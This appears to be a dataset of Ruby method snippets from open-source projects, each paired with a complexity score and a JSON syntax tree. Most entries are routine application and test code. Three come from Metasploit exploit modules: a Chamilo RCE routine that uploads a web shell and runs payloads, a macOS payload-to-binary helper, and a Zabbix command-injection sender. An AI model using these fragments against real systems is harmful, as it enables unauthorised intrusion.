{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_serializer.rb","start_line":197,"raw_source":"def bio_cooked\n    object.user_profile.bio_processed\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bio_cooked\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_profile\"]},\"bio_processed\"]}]}","id":"7fd267c2-5bcb-4c89-89fa-45ff2e214c59"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/plain_text_formatter.rb","start_line":36,"raw_source":"def insert_newlines\n    text.gsub(NEWLINE_TAGS_RE) { |match| \"#{match}\\n\" }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_newlines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text\"]},\"gsub\",{\"type\":\"const\",\"children\":[null,\"NEWLINE_TAGS_RE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"fbce38fb-4a3a-45ad-825d-52e123858400"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/structured_event_subscriber_test.rb","start_line":140,"raw_source":"def test_perform_completed_job\n      event = assert_event_reported(\"active_job.completed\", payload: {\n        job_class: TestJob.name,\n        queue: \"default\"\n      }) do\n        TestJob.perform_now\n      end\n\n      assert event[:payload][:job_id].present?\n      assert event[:payload][:duration].is_a?(Numeric)\n    end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_perform_completed_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"active_job.completed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestJob\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestJob\"]},\"perform_now\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_id\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"duration\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]}]}]}]}","id":"c3efb963-97f9-4c80-aac2-92502352ad33"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":557,"raw_source":"def test_plain_equals_with_ugly\n    assert_equal(\"foo\\nbar\\n\", render(<<HAML, :ugly => true))\n= \"foo\"\nbar\nHAML\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_plain_equals_with_ugly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\\nbar\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= \\\"foo\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"bar\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ugly\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"1a530f13-c7a0-4c95-918a-eeacd636023c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/draft_serializer.rb","start_line":78,"raw_source":"def include_closed?\n    object.topic&.closed&.present?\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"include_closed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"closed\"]},\"present?\"]}]}","id":"d03d2503-ce1a-47da-9744-1946427555d8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_fastlane_function.rb","start_line":62,"raw_source":"def swift_type_for_return_type\n      unless @return_type\n        return \"\"\n      end\n\n      case @return_type\n      when :string\n        return \"String\"\n      when :array_of_strings\n        return \"[String]\"\n      when :hash_of_strings\n        return \"[String : String]\"\n      when :hash\n        return \"[String : Any]\"\n      when :bool\n        return \"Bool\"\n      when :int\n        return \"Int\"\n      else\n        return \"\"\n      end\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"swift_type_for_return_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_type\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"String\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_of_strings\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"[String]\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash_of_strings\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"[String : String]\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"[String : Any]\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"bool\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Bool\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"int\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Int\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"8f407993-9fc2-4856-b1f7-7ca9dd28db60"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/memoized_instance_variable_name.rb","start_line":270,"raw_source":"def suggested_var(method_name)\n          suggestion = method_name.to_s.delete('!?=')\n\n          style == :required ? \"_#{suggestion}\" : suggestion\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"suggested_var\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"suggestion\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]},\"delete\",{\"type\":\"str\",\"children\":[\"!?=\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"required\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]}]},{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]}]}]}","id":"9fe06cb5-b5ba-4f8f-b68d-ea174c370ddf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/chamilo_unauth_rce_cve_2023_34960.rb","start_line":201,"raw_source":"def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n    case target['Type']\n    when :php\n      res = upload_webshell\n      fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 && res.body.include?('wsConvertPptResponse')\n      register_file_for_cleanup(@webshell_name.to_s)\n      execute_php(payload.encoded)\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager({ linemax: target.opts['Linemax'] })\n    end\n  end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"php\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload_webshell\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"wsConvertPptResponse\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"str\",\"children\":[\"Web shell upload error.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Linemax\"]}]}]}]}]}]},null]}]}]}","id":"46d31514-5ab3-4039-94a8-1291f1499a0e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_view_extension.rb","start_line":96,"raw_source":"def post_voting_topic?\n      topic.is_post_voting? && @filter != TopicView::ACTIVITY_FILTER\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"post_voting_topic?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"is_post_voting?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicView\"]},\"ACTIVITY_FILTER\"]}]}]}]}","id":"962ea11c-8129-4ad5-a033-338b8626dd28"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/test_data/cleanup_service.rb","start_line":36,"raw_source":"def delete_accounts(account_ids)\n      Rails.logger.info \"Found #{account_ids.size} test accounts to clean up: #{account_ids.join(', ')}\"\n      start_time = Time.zone.now\n      Account.where(id: account_ids).destroy_all\n      Rails.logger.info \"Deleted #{account_ids.size} accounts in #{Time.zone.now - start_time}s\"\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_accounts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_ids\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" test accounts to clean up: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"account_ids\"]}]}]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_ids\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" accounts in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},{\"type\":\"str\",\"children\":[\"s\"]}]}]}]}]}","id":"c1d5dadd-e1e3-4603-9351-e464158f4ede"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/dyld_print_to_file_root.rb","start_line":104,"raw_source":"def binary_payload\n    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"binary_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_osx_x64_macho\",{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}","id":"cb6b9c3e-8789-4c17-9dae-4ef3248445d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/zabbix_server_exec.rb","start_line":70,"raw_source":"def send_command(sock, node_id, cmd)\n    host_id = Rex::Text.rand_text_numeric(3)\n    msg = \"Command\\255\"\n    msg << \"#{node_id}\\255\"\n    msg << \"#{host_id}\\255\"\n    msg << \"#{cmd}\\n\"\n    sock.put(msg)\n    res = sock.get_once\n    return res\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"node_id\"]},{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"577f6630-e5d7-404b-a269-f8ae5dae9e52"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/break_tag_test.rb","start_line":10,"raw_source":"def test_break_with_no_block\n    assigns  = { 'i' => 1 }\n    markup   = 'before{% break %}after'\n    expected = 'before'\n\n    assert_template_result(expected, markup, assigns)\n  end","complexity_score":4.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_break_with_no_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markup\",{\"type\":\"str\",\"children\":[\"before{% break %}after\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"markup\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]}]}]}","id":"68cf5c54-c170-4727-85f7-b3cf1efb493e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/deployments_controller.rb","start_line":20,"raw_source":"def show\n    # A deployment belongs to both a project and an environment so either\n    # association could be used to fetch this record. However, because the\n    # IID is defined at the project level, looking up via project is a more\n    # efficient query as it can use the unique index on (project_id, iid).\n    @deployment = project.deployments.find_by_iid!(params[:id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@deployment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"deployments\"]},\"find_by_iid!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"212e4a50-b9d8-4c0c-bad1-efc02e150603"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/authentication_strategies/oauth_user_token_spec.rb","start_line":188,"raw_source":"def handle_response(response)\n          case response\n          in { status: 200..299 }\n            Success(\"EXPECTED_RESULT\")\n          in { status: 401 }\n            error(:unauthorized)\n          in { status: 403 }\n            error(:forbidden)\n          in { status: 404 }\n            error(:not_found)\n          else\n            error(:error)\n          end\n        end","complexity_score":7.88,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"str\",\"children\":[\"EXPECTED_RESULT\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]},null,{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}","id":"07583ff5-e41b-47ca-8d2b-a581bf71bf96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_artifacts/destroy_all_expired_service.rb","start_line":48,"raw_source":"def increment_stats(size)\n        destroyed_artifacts_counter.increment({}, size)\n        @removed_artifacts_count += size\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroyed_artifacts_counter\"]},\"increment\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@removed_artifacts_count\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}","id":"283f75bb-845d-48b8-adb1-45a99599caef"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_syntax.rb","start_line":242,"raw_source":"def check(pairs, delim, msg)\n          pairs.each do |pair|\n            if pair.delimiter == delim\n              location = pair.source_range.begin.join(pair.loc.operator)\n              add_offense(location, message: msg) do |corrector|\n                autocorrect(corrector, pair)\n\n                opposite_style_detected\n              end\n            else\n              correct_style_detected\n            end\n          end\n        end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pairs\"]},{\"type\":\"arg\",\"children\":[\"delim\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pairs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"delimiter\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"delim\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"source_range\"]},\"begin\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"loc\"]},\"operator\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"pair\"]}]},{\"type\":\"send\",\"children\":[null,\"opposite_style_detected\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"correct_style_detected\"]}]}]}]}","id":"fd7038d4-1007-436a-a709-fa848787d3a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/internal_helpers.rb","start_line":111,"raw_source":"def redis_ping\n        result = Gitlab::Redis::SharedState.with { |redis| redis.ping }\n\n        result == 'PONG'\n      rescue StandardError => e\n        Gitlab::AppLogger.warn(\"GitLab: An unexpected error occurred in pinging to Redis: #{e}\")\n        false\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_ping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"ping\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"str\",\"children\":[\"PONG\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab: An unexpected error occurred in pinging to Redis: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"a3da9c8a-2835-4032-9002-9bcc5e3e0b7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240320110318_add_file_final_path_to_packages_package_files.rb","start_line":17,"raw_source":"def down\n    with_lock_retries do\n      remove_column :packages_package_files, :file_final_path, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"packages_package_files\"]},{\"type\":\"sym\",\"children\":[\"file_final_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"fc4c0fa7-bd53-4ba8-bbda-deddf31ab761"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/project_phases/edit_dialog_component.rb","start_line":40,"raw_source":"def title\n        helpers.safe_join([icon, \" \", model.name])\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"safe_join\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"icon\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]}]}]}","id":"c5fdb39f-e2a8-4609-8758-637e87ff6bbc"}
